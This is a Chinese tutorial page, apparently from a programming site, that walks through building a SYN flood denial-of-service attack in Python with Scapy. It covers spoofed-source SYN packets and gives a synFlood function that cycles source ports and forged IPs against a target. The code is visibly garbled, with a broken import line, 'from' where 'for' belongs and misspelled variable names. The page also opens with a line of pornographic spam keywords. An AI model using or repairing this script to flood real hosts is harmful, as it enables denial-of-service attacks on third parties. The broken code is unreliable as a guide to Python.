欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python項目 基于Scapy實現(xiàn)SYN泛洪攻擊的方法

 更新時間:2019年07月23日 10:27:29   作者:茂子666  
今天小編就為大家分享一篇Python項目 基于Scapy實現(xiàn)SYN泛洪攻擊的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧

python3版本的Scapy--Scapy3k來實現(xiàn)一個簡單的DDos。

首先實現(xiàn)SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發(fā)送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務(wù)器發(fā)送SYN報文之后就不再響應(yīng)服務(wù)器回應(yīng)的報文,由于服務(wù)器在處理TCP請求時,會在協(xié)議棧留一塊緩沖區(qū)來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協(xié)議棧中存儲的數(shù)據(jù)就會被丟棄。攻擊者如果利用這段時間發(fā)送了大量的連接請求,全部掛起在半連接狀態(tài),這樣將不斷消耗服務(wù)器資源,直到拒接服務(wù)。

Scapy是一個強大的交互式數(shù)據(jù)包處理程序,可以用來發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。首先需要安裝Scapy3k:

sudo pip3 install scapy-python3

現(xiàn)在學(xué)習(xí)一下scapy的使用方法:

sudo scapy(scapy發(fā)送數(shù)據(jù)包需要root權(quán)限)

(警告信息是因為有一些依賴包沒有安裝,但是我們本次實驗不需要使用我就不裝了)

現(xiàn)在我們使用Scapy構(gòu)造一個簡單的數(shù)據(jù)包看一下:

pkt = IP(dst = "192.168.0.10")

接下來我們就構(gòu)造一個SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

(我們構(gòu)造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數(shù)據(jù)包,否則是無法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說明要發(fā)送的是SYN數(shù)據(jù)包)

代碼實現(xiàn):

具體代碼如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定義了srcList用于存放偽造的IP地址,之后定義了一個循環(huán),作用是每次發(fā)送數(shù)據(jù)包源端口都改變,可以看到在構(gòu)造TCP數(shù)據(jù)包的時候我們增加了一個參數(shù)sport,循環(huán)中改變的端口號就是給了sport這個參數(shù)。我們還調(diào)用random.randrange()函數(shù)來隨機從srcList中獲取一個偽造的IP地址。本次實驗就算完成,下次實驗實現(xiàn)一個完整的Ddos過程。

以上這篇Python項目 基于Scapy實現(xiàn)SYN泛洪攻擊的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評論